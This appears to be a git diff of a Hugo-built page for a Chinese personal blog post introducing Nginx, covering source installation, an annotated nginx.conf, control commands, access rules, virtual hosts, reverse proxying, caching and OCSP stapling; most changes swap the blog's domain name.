doNotTrack=!1;doNotTrack||(function(e,t,n,s,o,i,a){e.GoogleAnalyticsObject=o,e[o]=e[o]||function(){(e[o].q=e[o].q||[]).push(arguments)},e[o].l=1*new Date,i=t.createElement(n),a=t.getElementsByTagName(n)[0],i.async=1,i.src=s,a.parentNode.insertBefore(i,a)}(window,document,"script","https://www.google-analytics.com/analytics.js","ga"),ga("create","UA-123-45","auto"),ga("send","pageview"))</script><meta property="og:title" content="简单使用Nginx"><meta property="og:description" content="Nginx是目前web服务器占比第一（在https://w3techs.com 中可以看到Nginx占比33.1%）
+user root; # nginx运行用户 worker_processes auto; # nginx进程数，一般会设置和CPU核数一致 error_log /www/wwwlogs/nginx_error."><meta name=author content="Me"><link rel=canonical href=https://chenjunlinabc.github.io/posts/85/><meta name=google-site-verification content="XYZabc"><meta name=yandex-verification content="XYZabc"><meta name=msvalidate.01 content="XYZabc"><link crossorigin=anonymous href=/assets/css/stylesheet.5cfc680b1eeaeef9efbced92d46c2a9e876b72ee14fba85846afc4cff9e6e6f8.css integrity="sha256-XPxoCx7q7vnvvO2S1Gwqnodrcu4U+6hYRq/Ez/nm5vg=" rel="preload stylesheet" as=style><script defer crossorigin=anonymous src=/assets/js/highlight.f413e19d0714851f6474e7ee9632408e58ac146fbdbe62747134bea2fa3415e0.js integrity="sha256-9BPhnQcUhR9kdOfuljJAjlisFG+9vmJ0cTS+ovo0FeA=" onload=hljs.initHighlightingOnLoad()></script>
+<link rel=icon href=https://chenjunlinabc.github.io/favicon.ico><link rel=icon type=image/png sizes=16x16 href=https://chenjunlinabc.github.io/favicon.ico><link rel=icon type=image/png sizes=32x32 href=https://chenjunlinabc.github.io/favicon.ico><link rel=apple-touch-icon href=https://chenjunlinabc.github.io/favicon.ico><link rel=mask-icon href=https://chenjunlinabc.github.io/favicon.ico><meta name=theme-color content="#2e2e33"><meta name=msapplication-TileColor content="#2e2e33"><noscript><style>#theme-toggle,.top-link{display:none}</style><style>@media(prefers-color-scheme:dark){:root{--theme:rgb(29, 30, 32);--entry:rgb(46, 46, 51);--primary:rgb(218, 218, 219);--secondary:rgb(155, 156, 157);--tertiary:rgb(65, 66, 68);--content:rgb(196, 196, 197);--hljs-bg:rgb(46, 46, 51);--code-bg:rgb(55, 56, 62);--border:rgb(51, 51, 51)}.list{background:var(--theme)}.list:not(.dark)::-webkit-scrollbar-track{background:0 0}.list:not(.dark)::-webkit-scrollbar-thumb{border-color:var(--theme)}}</style></noscript><script type=application/javascript>var doNotTrack=!1;doNotTrack||(function(e,t,n,s,o,i,a){e.GoogleAnalyticsObject=o,e[o]=e[o]||function(){(e[o].q=e[o].q||[]).push(arguments)},e[o].l=1*new Date,i=t.createElement(n),a=t.getElementsByTagName(n)[0],i.async=1,i.src=s,a.parentNode.insertBefore(i,a)}(window,document,"script","https://www.google-analytics.com/analytics.js","ga"),ga("create","UA-123-45","auto"),ga("send","pageview"))</script><meta property="og:title" content="简单使用Nginx"><meta property="og:description" content="Nginx是目前web服务器占比第一（在https://w3techs.com 中可以看到Nginx占比33.1%）
 Nginx支持静态资源提供服务，支持高并发，热部署，反向代理，缓存，负载均衡等功能，Nginx使用BSD许可证开源（允许修改Nginx源码来重新发布一个商业用途的（例如Tengine））
 Nginx由Nginx二进制可执行文件，Nginx.conf，access.log，error.log组成
 Nginx和Nginx plus的区别：Nginx开源，免费，Nginx plus闭源，不免费
@@ -67,7 +67,7 @@
 检查是否安装完毕
 nginx -v
 nginx配置文件nginx.conf解读，一般在/etc/nginx下
-user root; # nginx运行用户 worker_processes auto; # nginx进程数，一般会设置和CPU核数一致 error_log /www/wwwlogs/nginx_error."><meta property="og:type" content="article"><meta property="og:url" content="https://xiaochenabc123.github.io/posts/85/"><meta property="og:image" content="https://xiaochenabc123.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E"><meta property="article:section" content="posts"><meta property="article:published_time" content="2021-08-18T12:50:00+00:00"><meta property="article:modified_time" content="2021-08-18T12:50:00+00:00"><meta property="og:site_name" content="ExampleSite"><meta name=twitter:card content="summary_large_image"><meta name=twitter:image content="https://xiaochenabc123.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E"><meta name=twitter:title content="简单使用Nginx"><meta name=twitter:description content="Nginx是目前web服务器占比第一（在https://w3techs.com 中可以看到Nginx占比33.1%）
+user root; # nginx运行用户 worker_processes auto; # nginx进程数，一般会设置和CPU核数一致 error_log /www/wwwlogs/nginx_error."><meta property="og:type" content="article"><meta property="og:url" content="https://chenjunlinabc.github.io/posts/85/"><meta property="og:image" content="https://chenjunlinabc.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E"><meta property="article:section" content="posts"><meta property="article:published_time" content="2021-08-18T12:50:00+00:00"><meta property="article:modified_time" content="2021-08-18T12:50:00+00:00"><meta property="og:site_name" content="ExampleSite"><meta name=twitter:card content="summary_large_image"><meta name=twitter:image content="https://chenjunlinabc.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E"><meta name=twitter:title content="简单使用Nginx"><meta name=twitter:description content="Nginx是目前web服务器占比第一（在https://w3techs.com 中可以看到Nginx占比33.1%）
 Nginx支持静态资源提供服务，支持高并发，热部署，反向代理，缓存，负载均衡等功能，Nginx使用BSD许可证开源（允许修改Nginx源码来重新发布一个商业用途的（例如Tengine））
 Nginx由Nginx二进制可执行文件，Nginx.conf，access.log，error.log组成
 Nginx和Nginx plus的区别：Nginx开源，免费，Nginx plus闭源，不免费
@@ -101,7 +101,7 @@
 检查是否安装完毕
 nginx -v
 nginx配置文件nginx.conf解读，一般在/etc/nginx下
-user root; # nginx运行用户 worker_processes auto; # nginx进程数，一般会设置和CPU核数一致 error_log /www/wwwlogs/nginx_error."><script type=application/ld+json>{"@context":"https://schema.org","@type":"BreadcrumbList","itemListElement":[{"@type":"ListItem","position":1,"name":"Posts","item":"https://xiaochenabc123.github.io/posts/"},{"@type":"ListItem","position":2,"name":"简单使用Nginx","item":"https://xiaochenabc123.github.io/posts/85/"}]}</script><script type=application/ld+json>{"@context":"https://schema.org","@type":"BlogPosting","headline":"简单使用Nginx","name":"简单使用Nginx","description":"Nginx是目前web服务器占比第一（在https://w3techs.com 中可以看到Nginx占比33.1%）\nNginx支持静态资源提供服务，支持高并发，热部署，反向代理，缓存，负载均衡等功能，Nginx使用BSD许可证开源（允许修改Nginx源码来重新发布一个商业用途的（例如Tengine））\nNginx由Nginx二进制可执行文件，Nginx.conf，access.log，error.log组成\nNginx和Nginx plus的区别：Nginx开源，免费，Nginx plus闭源，不免费\nNginx编译安装\nMainline version版本是提供最新的功能，Stable version版本是目前的稳定版本，Legacy versions版本是过去的版本\n下载Nginx\nwget http://nginx.org/download/nginx-1.22.0.tar.gz\n解压Nginx压缩包\ntar -xzf nginx-1.22.0.tar.gz\n其中auto目录有4个子目录（分别为cc（用于编译），lib（lib库），os（操作系统的判断），types（类型判断）），conf目录是Nginx配置目录，html目录是Nginx默认静态文件\nconf目录是Nginx配置文件目录（例如nginx.conf），src目录是Nginx源代码目录\n进入nginx目录然后进行编译\n查看编译时支持的参数\n./configure \u0026ndash;help | more\n使用默认参数编译\n./configure \u0026ndash;prefix=/home/nginx\n编译完成的中间文件存会放在objs文件夹下\nngx_module.c是要编译进Nginx的模块，如果需要安装第三方模块需要在其修改\nmake编译\nmake install安装\n进入/home/nginx，可以看到已经安装完成\n安装\n编译安装\napt install -y gcc gcc-c++ pcre pcre-devel openssl openssl-devel zlib zlib-devel\nwget http://nginx.org/download/nginx-1.22.0.tar.gz\ntar -zxvf nginx-1.18.0.tar.gz\ncd nginx-1.18.0\nmake \u0026amp;\u0026amp;make install\n一键安装（不推荐）\napt install nginx\n检查是否安装完毕\nnginx -v\nnginx配置文件nginx.conf解读，一般在/etc/nginx下\nuser root; # nginx运行用户 worker_processes auto; # nginx进程数，一般会设置和CPU核数一致 error_log /www/wwwlogs/nginx_error.","keywords":["nginx"],"articleBody":"Nginx是目前web服务器占比第一（在https://w3techs.com 中可以看到Nginx占比33.1%）\nNginx支持静态资源提供服务，支持高并发，热部署，反向代理，缓存，负载均衡等功能，Nginx使用BSD许可证开源（允许修改Nginx源码来重新发布一个商业用途的（例如Tengine））\nNginx由Nginx二进制可执行文件，Nginx.conf，access.log，error.log组成\nNginx和Nginx plus的区别：Nginx开源，免费，Nginx plus闭源，不免费\nNginx编译安装\nMainline version版本是提供最新的功能，Stable version版本是目前的稳定版本，Legacy versions版本是过去的版本\n下载Nginx\nwget http://nginx.org/download/nginx-1.22.0.tar.gz\n解压Nginx压缩包\ntar -xzf nginx-1.22.0.tar.gz\n其中auto目录有4个子目录（分别为cc（用于编译），lib（lib库），os（操作系统的判断），types（类型判断）），conf目录是Nginx配置目录，html目录是Nginx默认静态文件\nconf目录是Nginx配置文件目录（例如nginx.conf），src目录是Nginx源代码目录\n进入nginx目录然后进行编译\n查看编译时支持的参数\n./configure –help | more\n使用默认参数编译\n./configure –prefix=/home/nginx\n编译完成的中间文件存会放在objs文件夹下\nngx_module.c是要编译进Nginx的模块，如果需要安装第三方模块需要在其修改\nmake编译\nmake install安装\n进入/home/nginx，可以看到已经安装完成\n安装\n编译安装\napt install -y gcc gcc-c++ pcre pcre-devel openssl openssl-devel zlib zlib-devel\nwget http://nginx.org/download/nginx-1.22.0.tar.gz\ntar -zxvf nginx-1.18.0.tar.gz\ncd nginx-1.18.0\nmake \u0026\u0026make install\n一键安装（不推荐）\napt install nginx\n检查是否安装完毕\nnginx -v\nnginx配置文件nginx.conf解读，一般在/etc/nginx下\nuser root; # nginx运行用户 worker_processes auto; # nginx进程数，一般会设置和CPU核数一致 error_log /www/wwwlogs/nginx_error.log crit; # 错误日志存储位置 pid /www/server/nginx/logs/nginx.pid; # 进程PID存储位置 events{ worker_connections 51200; # 单个后台进程的最大并发数 multi_accept on; # 一个进程可以同时接受所有的新连接，关闭（off）的话一个进程只能接收一个连接，默认值为off关闭 } http{ include mime.types; # 文件扩展和类型的映射表 default_type application/octet-stream; # 默认文件的类型 server_names_hash_bucket_size 512; client_header_buffer_size 32k; large_client_header_buffers 4 32k; client_max_body_size 50m; gzip on; # 开启gzip压缩 gzip_min_length 1k; # 设置允许压缩的最小的字节数，这里设置1k，就是只有超过1k的文件才会被压缩 gzip_buffers 4 16k; # 以16k为单位，以16k的4倍申请存储gzip压缩的数据流内存 gzip_http_version 1.1; # 只有当http1.1协议版本可以执行gzip压缩 gzip_comp_level 2; # 压缩比 gzip_types text/plain application/javascript application/x-javascript text/javascript text/css application/xml; # 设置匹配MIME类型进行压缩，默认text/html是始终被压缩的 gzip_vary on; gzip_proxied expired no-cache no-store private auth; # 当nginx是反向代理时数据的压缩，expired表示启动压缩，如果header头中包含 \"Expires\" 头信息，，只有off是关闭数据压缩，any是无条件启动压缩 server_tokens off; # 隐藏版本号，避免404暴露nginx的版本 access_log off; # nginx访问日志存储位置（off为关闭访问日志） server { listen 80; # 监听端口 server_name localhost; # 配置域名 index index.html index.htm index.php; # 默认页面 root /www/server/phpmyadmin; # 服务默认启动目录 error_page 404 /404.html; # 404配置页面 error_page 500 502 503 504 /50x.html # 50x服务错误配置页面 include fastcgi.conf; # 使用fastCGI解析php location / { root /www/wwwroot; index index.html index.htm index.php; } access_log /www/wwwlogs/access.log; # nginx访问日志存储位置（off为关闭访问日志） } 可以看到网站根目录在/www/wwwroot\n强制停止nginx服务 nginx -s stop\n非强制停止（等待进程完成任务后停止） nginx -s quit\n重载配置文件 nginx -s reload\n限制访问权限\nlocation / { root /www/wwwroot; index index.html index.htm index.php; allow 192.168.1.128; # 限制只有192.168.1.128可访问 deny all # 禁止访问 } nginx虚拟主机（可基于端口，域名（ip），别名设置虚拟主机）\nserver{ listen 80; server_name localhost; index index.html index.htm index.php; } server{ listen 80; server_name abc.xiaochenabc123.test.com; index index.html index.htm index.php; } server{ listen 80; # 监听端口 listen 443 ssl http2; # 设置https ssl server_name xiaochenabc123.test.com; # 配置域名 index index.php index.html index.htm default.php default.htm default.html; } 在上面例子中，可以看到端口都是80，但是域名不同，也就是说这里设置了3个虚拟主机，虚拟主机配置除了设置在/nginx/nginx.conf中，还可以设置在子配置文件（nginx/conf.d/default.conf）中，不同的虚拟主机都可设置在不同的子配置文件中\n反向代理\nserver{ listen 80; server_name abc.xiaochenabc123.test.com; location / { proxy_pass http://xiaochenabc123.test.com; index index.html; } } 在该配置中，访问abc.xiaochenabc123.test.com会反向代理到http://xiaochenabc123.test.com中\nNginx命令（例如nginx -s quit）\n查看帮助\nnginx -?或者nginx -h\n使用指定配置文件\nnginx -c nginx-01.conf\n指定配置指令（覆盖nginx.conf内的指令）\nnginx -g “user root;”\n立即关闭nginx服务\nnginx -s stop\n处理完毕全部请求后再停止服务\nnginx -s quit\n重载配置文件\nnginx -s reload\n重新记录日志\nnginx -s reopen\n查看配置文件是否出错（大小写都可以）\nnginx -t\n查看nginx信息（大V是编译信息小写v是版本信息）\nnginx -v\n指定nginx运行目录\nnginx -p /nginx/\n开启缓存\nproxy_cache_path /data/cache levels=1:2 keys_zone=oncache:10m max_size=10g inactive=60m;\n/data/cache是缓存目录，levels是缓存目录的优先级，例如1:2（二级目录），表示/data是一级目录，/cache是二级目录，keys_zone是定义共享内存区的名称和大小（oncache是名称，10m是内存区的大小），max_size是缓存的最大大小，inactive表示该缓存不在该指定时间内被访问，将从缓存中删除\nGoaccess（可视化监控access日志）\nSSL证书\n申请人通过登记机构（具备验证申请人的身份）发送证书签名申请（CSR）到CA机构，CA机构再将公钥私钥发送给登记机构，登记机构再给申请人\n当访问服务端时，会发送申请证书的请求，服务端接收到请求时会将公钥发送给客户端，客户端会验证证书的有效性，CA会将过期证书发送给CRL服务器（浏览器验证时发送请求给CRL服务器）（性能很差），一般通过OCSP（在线证书状态协议）验证，OCSP是服务端主动获取的结果，然后随着握手协商时发送给客户端，不需要客户端去验证\n开启OCSP Stapling\nserver { listen 443 ssl; server_name test.xiaochenabc123.test.com; ssl_stapling on; ssl_stapling_verify on; resolver 8.8.8.8 8.8.4.4 valid=300s; #OCSP请求的DNS服务器 resolver_timeout 5s; ssl_trusted_certificate nginx.pem; #证书公钥（pem格式） } 查看是否开启OCSP Stapling\nopenssl.exe s_client -connect https://test.xiaochenabc123.test.com:443 -status\n没有开启会返回OCSP response: no response sent\n","wordCount":"398","inLanguage":"en","datePublished":"2021-08-18T12:50:00Z","dateModified":"2021-08-18T12:50:00Z","author":{"@type":"Person","name":"Me"},"mainEntityOfPage":{"@type":"WebPage","@id":"https://xiaochenabc123.github.io/posts/85/"},"publisher":{"@type":"Organization","name":"小陈的个人博客","logo":{"@type":"ImageObject","url":"https://xiaochenabc123.github.io/favicon.ico"}}}</script></head><body id=top><script>localStorage.getItem("pref-theme")==="dark"?document.body.classList.add("dark"):localStorage.getItem("pref-theme")==="light"?document.body.classList.remove("dark"):window.matchMedia("(prefers-color-scheme: dark)").matches&&document.body.classList.add("dark")</script><header class=header><nav class=nav><div class=logo><a href=https://xiaochenabc123.github.io/ accesskey=h title="小陈的个人博客 (Alt + H)"><img src=https://xiaochenabc123.github.io/favicon.ico alt aria-label=logo height=35>小陈的个人博客</a><div class=logo-switches><button id=theme-toggle accesskey=t title="(Alt + T)"><svg id="moon" xmlns="http://www.w3.org/2000/svg" width="24" height="18" viewBox="0 0 24 24" fill="none" stroke="currentcolor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><path d="M21 12.79A9 9 0 1111.21 3 7 7 0 0021 12.79z"/></svg><svg id="sun" xmlns="http://www.w3.org/2000/svg" width="24" height="18" viewBox="0 0 24 24" fill="none" stroke="currentcolor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><circle cx="12" cy="12" r="5"/><line x1="12" y1="1" x2="12" y2="3"/><line x1="12" y1="21" x2="12" y2="23"/><line x1="4.22" y1="4.22" x2="5.64" y2="5.64"/><line x1="18.36" y1="18.36" x2="19.78" y2="19.78"/><line x1="1" y1="12" x2="3" y2="12"/><line x1="21" y1="12" x2="23" y2="12"/><line x1="4.22" y1="19.78" x2="5.64" y2="18.36"/><line x1="18.36" y1="5.64" x2="19.78" y2="4.22"/></svg></button></div></div><ul id=menu><li><a href=https://xiaochenabc123.github.io/ title=首页><span>首页</span></a></li><li><a href=https://xiaochenabc123.github.io/categories/ title=分类><span>分类</span></a></li><li><a href=https://xiaochenabc123.github.io/archives/ title=归档><span>归档</span></a></li><li><a href=https://xiaochenabc123.github.io/tags/ title=标签><span>标签</span></a></li><li><a href=https://xiaochenabc123.github.io/links/ title=链接><span>链接</span></a></li><li><a href=https://xiaochenabc123.github.io/about/ title=关于><span>关于</span></a></li><li><a href=https://xiaochenabc123.github.io/search/ title="搜索 (Alt + /)" accesskey=/><span>搜索</span></a></li></ul></nav></header><main class=main><article class=post-single><header class=post-header><div class=breadcrumbs><a href=https://xiaochenabc123.github.io/>Home</a>&nbsp;»&nbsp;<a href=https://xiaochenabc123.github.io/posts/>Posts</a></div><h1 class=post-title>简单使用Nginx</h1><div class=post-meta><span title='2021-08-18 12:50:00 +0000 UTC'>2021-08-18</span>&nbsp;·&nbsp;2 min&nbsp;·&nbsp;Me&nbsp;|&nbsp;<a href=https://xiaochenabc123.github.io//posts/%e7%ae%80%e5%8d%95%e4%bd%bf%e7%94%a8Nginx.md rel="noopener noreferrer" target=_blank>Suggest Changes</a></div></header><div class=post-content><p>Nginx是目前web服务器占比第一（在https://w3techs.com 中可以看到Nginx占比33.1%）</p><p>Nginx支持静态资源提供服务，支持高并发，热部署，反向代理，缓存，负载均衡等功能，Nginx使用BSD许可证开源（允许修改Nginx源码来重新发布一个商业用途的（例如Tengine））</p><p>Nginx由Nginx二进制可执行文件，Nginx.conf，access.log，error.log组成</p><p>Nginx和Nginx plus的区别：Nginx开源，免费，Nginx plus闭源，不免费</p><p>Nginx编译安装</p><p>Mainline version版本是提供最新的功能，Stable version版本是目前的稳定版本，Legacy versions版本是过去的版本</p><p>下载Nginx</p><p>wget <a href=http://nginx.org/download/nginx-1.22.0.tar.gz>http://nginx.org/download/nginx-1.22.0.tar.gz</a></p><p>解压Nginx压缩包</p><p>tar -xzf nginx-1.22.0.tar.gz</p><p>其中auto目录有4个子目录（分别为cc（用于编译），lib（lib库），os（操作系统的判断），types（类型判断）），conf目录是Nginx配置目录，html目录是Nginx默认静态文件</p><p>conf目录是Nginx配置文件目录（例如nginx.conf），src目录是Nginx源代码目录</p><p>进入nginx目录然后进行编译</p><p>查看编译时支持的参数</p><p>./configure &ndash;help | more</p><p>使用默认参数编译</p><p>./configure &ndash;prefix=/home/nginx</p><p>编译完成的中间文件存会放在objs文件夹下</p><p>ngx_module.c是要编译进Nginx的模块，如果需要安装第三方模块需要在其修改</p><p>make编译</p><p>make install安装</p><p>进入/home/nginx，可以看到已经安装完成</p><hr><p>安装</p><p>编译安装</p><p>apt install -y gcc gcc-c++ pcre pcre-devel openssl openssl-devel zlib zlib-devel</p><p>wget <a href=http://nginx.org/download/nginx-1.22.0.tar.gz>http://nginx.org/download/nginx-1.22.0.tar.gz</a></p><p>tar -zxvf nginx-1.18.0.tar.gz</p><p>cd nginx-1.18.0</p><p>make &&amp;make install</p><p>一键安装（不推荐）</p><p>apt install nginx</p><p>检查是否安装完毕</p><p>nginx -v</p><p>nginx配置文件nginx.conf解读，一般在/etc/nginx下</p><pre><code>user root; # nginx运行用户
+user root; # nginx运行用户 worker_processes auto; # nginx进程数，一般会设置和CPU核数一致 error_log /www/wwwlogs/nginx_error."><script type=application/ld+json>{"@context":"https://schema.org","@type":"BreadcrumbList","itemListElement":[{"@type":"ListItem","position":1,"name":"Posts","item":"https://chenjunlinabc.github.io/posts/"},{"@type":"ListItem","position":2,"name":"简单使用Nginx","item":"https://chenjunlinabc.github.io/posts/85/"}]}</script><script type=application/ld+json>{"@context":"https://schema.org","@type":"BlogPosting","headline":"简单使用Nginx","name":"简单使用Nginx","description":"Nginx是目前web服务器占比第一（在https://w3techs.com 中可以看到Nginx占比33.1%）\nNginx支持静态资源提供服务，支持高并发，热部署，反向代理，缓存，负载均衡等功能，Nginx使用BSD许可证开源（允许修改Nginx源码来重新发布一个商业用途的（例如Tengine））\nNginx由Nginx二进制可执行文件，Nginx.conf，access.log，error.log组成\nNginx和Nginx plus的区别：Nginx开源，免费，Nginx plus闭源，不免费\nNginx编译安装\nMainline version版本是提供最新的功能，Stable version版本是目前的稳定版本，Legacy versions版本是过去的版本\n下载Nginx\nwget http://nginx.org/download/nginx-1.22.0.tar.gz\n解压Nginx压缩包\ntar -xzf nginx-1.22.0.tar.gz\n其中auto目录有4个子目录（分别为cc（用于编译），lib（lib库），os（操作系统的判断），types（类型判断）），conf目录是Nginx配置目录，html目录是Nginx默认静态文件\nconf目录是Nginx配置文件目录（例如nginx.conf），src目录是Nginx源代码目录\n进入nginx目录然后进行编译\n查看编译时支持的参数\n./configure \u0026ndash;help | more\n使用默认参数编译\n./configure \u0026ndash;prefix=/home/nginx\n编译完成的中间文件存会放在objs文件夹下\nngx_module.c是要编译进Nginx的模块，如果需要安装第三方模块需要在其修改\nmake编译\nmake install安装\n进入/home/nginx，可以看到已经安装完成\n安装\n编译安装\napt install -y gcc gcc-c++ pcre pcre-devel openssl openssl-devel zlib zlib-devel\nwget http://nginx.org/download/nginx-1.22.0.tar.gz\ntar -zxvf nginx-1.18.0.tar.gz\ncd nginx-1.18.0\nmake \u0026amp;\u0026amp;make install\n一键安装（不推荐）\napt install nginx\n检查是否安装完毕\nnginx -v\nnginx配置文件nginx.conf解读，一般在/etc/nginx下\nuser root; # nginx运行用户 worker_processes auto; # nginx进程数，一般会设置和CPU核数一致 error_log /www/wwwlogs/nginx_error.","keywords":["nginx"],"articleBody":"Nginx是目前web服务器占比第一（在https://w3techs.com 中可以看到Nginx占比33.1%）\nNginx支持静态资源提供服务，支持高并发，热部署，反向代理，缓存，负载均衡等功能，Nginx使用BSD许可证开源（允许修改Nginx源码来重新发布一个商业用途的（例如Tengine））\nNginx由Nginx二进制可执行文件，Nginx.conf，access.log，error.log组成\nNginx和Nginx plus的区别：Nginx开源，免费，Nginx plus闭源，不免费\nNginx编译安装\nMainline version版本是提供最新的功能，Stable version版本是目前的稳定版本，Legacy versions版本是过去的版本\n下载Nginx\nwget http://nginx.org/download/nginx-1.22.0.tar.gz\n解压Nginx压缩包\ntar -xzf nginx-1.22.0.tar.gz\n其中auto目录有4个子目录（分别为cc（用于编译），lib（lib库），os（操作系统的判断），types（类型判断）），conf目录是Nginx配置目录，html目录是Nginx默认静态文件\nconf目录是Nginx配置文件目录（例如nginx.conf），src目录是Nginx源代码目录\n进入nginx目录然后进行编译\n查看编译时支持的参数\n./configure –help | more\n使用默认参数编译\n./configure –prefix=/home/nginx\n编译完成的中间文件存会放在objs文件夹下\nngx_module.c是要编译进Nginx的模块，如果需要安装第三方模块需要在其修改\nmake编译\nmake install安装\n进入/home/nginx，可以看到已经安装完成\n安装\n编译安装\napt install -y gcc gcc-c++ pcre pcre-devel openssl openssl-devel zlib zlib-devel\nwget http://nginx.org/download/nginx-1.22.0.tar.gz\ntar -zxvf nginx-1.18.0.tar.gz\ncd nginx-1.18.0\nmake \u0026\u0026make install\n一键安装（不推荐）\napt install nginx\n检查是否安装完毕\nnginx -v\nnginx配置文件nginx.conf解读，一般在/etc/nginx下\nuser root; # nginx运行用户 worker_processes auto; # nginx进程数，一般会设置和CPU核数一致 error_log /www/wwwlogs/nginx_error.log crit; # 错误日志存储位置 pid /www/server/nginx/logs/nginx.pid; # 进程PID存储位置 events{ worker_connections 51200; # 单个后台进程的最大并发数 multi_accept on; # 一个进程可以同时接受所有的新连接，关闭（off）的话一个进程只能接收一个连接，默认值为off关闭 } http{ include mime.types; # 文件扩展和类型的映射表 default_type application/octet-stream; # 默认文件的类型 server_names_hash_bucket_size 512; client_header_buffer_size 32k; large_client_header_buffers 4 32k; client_max_body_size 50m; gzip on; # 开启gzip压缩 gzip_min_length 1k; # 设置允许压缩的最小的字节数，这里设置1k，就是只有超过1k的文件才会被压缩 gzip_buffers 4 16k; # 以16k为单位，以16k的4倍申请存储gzip压缩的数据流内存 gzip_http_version 1.1; # 只有当http1.1协议版本可以执行gzip压缩 gzip_comp_level 2; # 压缩比 gzip_types text/plain application/javascript application/x-javascript text/javascript text/css application/xml; # 设置匹配MIME类型进行压缩，默认text/html是始终被压缩的 gzip_vary on; gzip_proxied expired no-cache no-store private auth; # 当nginx是反向代理时数据的压缩，expired表示启动压缩，如果header头中包含 \"Expires\" 头信息，，只有off是关闭数据压缩，any是无条件启动压缩 server_tokens off; # 隐藏版本号，避免404暴露nginx的版本 access_log off; # nginx访问日志存储位置（off为关闭访问日志） server { listen 80; # 监听端口 server_name localhost; # 配置域名 index index.html index.htm index.php; # 默认页面 root /www/server/phpmyadmin; # 服务默认启动目录 error_page 404 /404.html; # 404配置页面 error_page 500 502 503 504 /50x.html # 50x服务错误配置页面 include fastcgi.conf; # 使用fastCGI解析php location / { root /www/wwwroot; index index.html index.htm index.php; } access_log /www/wwwlogs/access.log; # nginx访问日志存储位置（off为关闭访问日志） } 可以看到网站根目录在/www/wwwroot\n强制停止nginx服务 nginx -s stop\n非强制停止（等待进程完成任务后停止） nginx -s quit\n重载配置文件 nginx -s reload\n限制访问权限\nlocation / { root /www/wwwroot; index index.html index.htm index.php; allow 192.168.1.128; # 限制只有192.168.1.128可访问 deny all # 禁止访问 } nginx虚拟主机（可基于端口，域名（ip），别名设置虚拟主机）\nserver{ listen 80; server_name localhost; index index.html index.htm index.php; } server{ listen 80; server_name abc.xiaochenabc123.test.com; index index.html index.htm index.php; } server{ listen 80; # 监听端口 listen 443 ssl http2; # 设置https ssl server_name xiaochenabc123.test.com; # 配置域名 index index.php index.html index.htm default.php default.htm default.html; } 在上面例子中，可以看到端口都是80，但是域名不同，也就是说这里设置了3个虚拟主机，虚拟主机配置除了设置在/nginx/nginx.conf中，还可以设置在子配置文件（nginx/conf.d/default.conf）中，不同的虚拟主机都可设置在不同的子配置文件中\n反向代理\nserver{ listen 80; server_name abc.xiaochenabc123.test.com; location / { proxy_pass http://xiaochenabc123.test.com; index index.html; } } 在该配置中，访问abc.xiaochenabc123.test.com会反向代理到http://xiaochenabc123.test.com中\nNginx命令（例如nginx -s quit）\n查看帮助\nnginx -?或者nginx -h\n使用指定配置文件\nnginx -c nginx-01.conf\n指定配置指令（覆盖nginx.conf内的指令）\nnginx -g “user root;”\n立即关闭nginx服务\nnginx -s stop\n处理完毕全部请求后再停止服务\nnginx -s quit\n重载配置文件\nnginx -s reload\n重新记录日志\nnginx -s reopen\n查看配置文件是否出错（大小写都可以）\nnginx -t\n查看nginx信息（大V是编译信息小写v是版本信息）\nnginx -v\n指定nginx运行目录\nnginx -p /nginx/\n开启缓存\nproxy_cache_path /data/cache levels=1:2 keys_zone=oncache:10m max_size=10g inactive=60m;\n/data/cache是缓存目录，levels是缓存目录的优先级，例如1:2（二级目录），表示/data是一级目录，/cache是二级目录，keys_zone是定义共享内存区的名称和大小（oncache是名称，10m是内存区的大小），max_size是缓存的最大大小，inactive表示该缓存不在该指定时间内被访问，将从缓存中删除\nGoaccess（可视化监控access日志）\nSSL证书\n申请人通过登记机构（具备验证申请人的身份）发送证书签名申请（CSR）到CA机构，CA机构再将公钥私钥发送给登记机构，登记机构再给申请人\n当访问服务端时，会发送申请证书的请求，服务端接收到请求时会将公钥发送给客户端，客户端会验证证书的有效性，CA会将过期证书发送给CRL服务器（浏览器验证时发送请求给CRL服务器）（性能很差），一般通过OCSP（在线证书状态协议）验证，OCSP是服务端主动获取的结果，然后随着握手协商时发送给客户端，不需要客户端去验证\n开启OCSP Stapling\nserver { listen 443 ssl; server_name test.xiaochenabc123.test.com; ssl_stapling on; ssl_stapling_verify on; resolver 8.8.8.8 8.8.4.4 valid=300s; #OCSP请求的DNS服务器 resolver_timeout 5s; ssl_trusted_certificate nginx.pem; #证书公钥（pem格式） } 查看是否开启OCSP Stapling\nopenssl.exe s_client -connect https://test.xiaochenabc123.test.com:443 -status\n没有开启会返回OCSP response: no response sent\n","wordCount":"398","inLanguage":"en","datePublished":"2021-08-18T12:50:00Z","dateModified":"2021-08-18T12:50:00Z","author":{"@type":"Person","name":"Me"},"mainEntityOfPage":{"@type":"WebPage","@id":"https://chenjunlinabc.github.io/posts/85/"},"publisher":{"@type":"Organization","name":"小陈的个人博客","logo":{"@type":"ImageObject","url":"https://chenjunlinabc.github.io/favicon.ico"}}}</script></head><body id=top><script>localStorage.getItem("pref-theme")==="dark"?document.body.classList.add("dark"):localStorage.getItem("pref-theme")==="light"?document.body.classList.remove("dark"):window.matchMedia("(prefers-color-scheme: dark)").matches&&document.body.classList.add("dark")</script><header class=header><nav class=nav><div class=logo><a href=https://chenjunlinabc.github.io/ accesskey=h title="小陈的个人博客 (Alt + H)"><img src=https://chenjunlinabc.github.io/favicon.ico alt aria-label=logo height=35>小陈的个人博客</a><div class=logo-switches><button id=theme-toggle accesskey=t title="(Alt + T)"><svg id="moon" xmlns="http://www.w3.org/2000/svg" width="24" height="18" viewBox="0 0 24 24" fill="none" stroke="currentcolor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><path d="M21 12.79A9 9 0 1111.21 3 7 7 0 0021 12.79z"/></svg><svg id="sun" xmlns="http://www.w3.org/2000/svg" width="24" height="18" viewBox="0 0 24 24" fill="none" stroke="currentcolor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><circle cx="12" cy="12" r="5"/><line x1="12" y1="1" x2="12" y2="3"/><line x1="12" y1="21" x2="12" y2="23"/><line x1="4.22" y1="4.22" x2="5.64" y2="5.64"/><line x1="18.36" 